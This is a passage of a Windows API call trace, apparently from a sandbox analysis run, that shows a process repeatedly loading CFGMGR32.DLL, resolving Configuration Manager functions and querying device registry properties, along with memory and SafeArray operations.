0x7ffb1cede670 [0198.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.314] malloc (_Size=0x18) returned 0x20abc281f60 [0198.314] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0198.314] malloc (_Size=0x12) returned 0x20abc281ce0 [0198.315] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281ce0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281ce0, pulLength=0x2dc22fd3f8) returned 0x0 [0198.315] free (_Block=0x20abc281ce0) [0198.315] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x31f83fbb, dwHighDateTime=0x1d9eb0c)) [0198.315] SetEvent (hEvent=0x248) returned 1 [0198.427] malloc (_Size=0x18) returned 0x20abc281dc0 [0198.427] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0198.427] free (_Block=0x20abc281dc0) [0198.427] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0198.427] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0198.427] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0198.427] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0198.427] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0198.427] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0198.427] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0198.427] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0198.428] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0198.428] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402170, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0198.429] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0198.430] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0198.431] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.431] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.435] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.435] malloc (_Size=0x18) returned 0x20abc281c20 [0198.435] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0198.436] malloc (_Size=0x38) returned 0x20abc281510 [0198.436] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281510, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281510, pulLength=0x2dc22fd3f8) returned 0x0 [0198.437] free (_Block=0x20abc281510) [0198.437] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x320b589c, dwHighDateTime=0x1d9eb0c)) [0198.437] SetEvent (hEvent=0x248) returned 1 [0198.440] malloc (_Size=0x18) returned 0x20abc281d20 [0198.440] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0198.440] free (_Block=0x20abc281d20) [0198.440] malloc (_Size=0x18) returned 0x20abc282000 [0198.440] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0198.440] free (_Block=0x20abc282000) [0198.440] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0198.440] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0198.440] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0198.440] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0198.440] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0198.440] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0198.440] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0198.440] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0198.441] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0198.441] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0198.441] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0198.442] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0198.442] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0198.443] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.443] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.447] malloc (_Size=0x18) returned 0x20abc281ea0 [0198.447] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.465] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x321016bd, dwHighDateTime=0x1d9eb0c)) [0198.466] SetEvent (hEvent=0x248) returned 1 [0198.470] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.470] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.470] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.474] malloc (_Size=0x18) returned 0x20abc281e20 [0198.474] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.475] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x321016bd, dwHighDateTime=0x1d9eb0c)) [0198.475] SetEvent (hEvent=0x248) returned 1 [0198.480] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.480] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.485] malloc (_Size=0x18) returned 0x20abc281d40 [0198.485] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.485] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3212877c, dwHighDateTime=0x1d9eb0c)) [0198.486] SetEvent (hEvent=0x248) returned 1 [0198.600] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.600] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.604] malloc (_Size=0x18) returned 0x20abc282080 [0198.604] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.605] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32258d7e, dwHighDateTime=0x1d9eb0c)) [0198.605] SetEvent (hEvent=0x248) returned 1 [0198.611] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.611] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.615] malloc (_Size=0x18) returned 0x20abc281960 [0198.615] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.618] malloc (_Size=0x48) returned 0x20abc2a8730 [0198.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32258d7e, dwHighDateTime=0x1d9eb0c)) [0198.618] SetEvent (hEvent=0x248) returned 1 [0198.623] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.623] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") 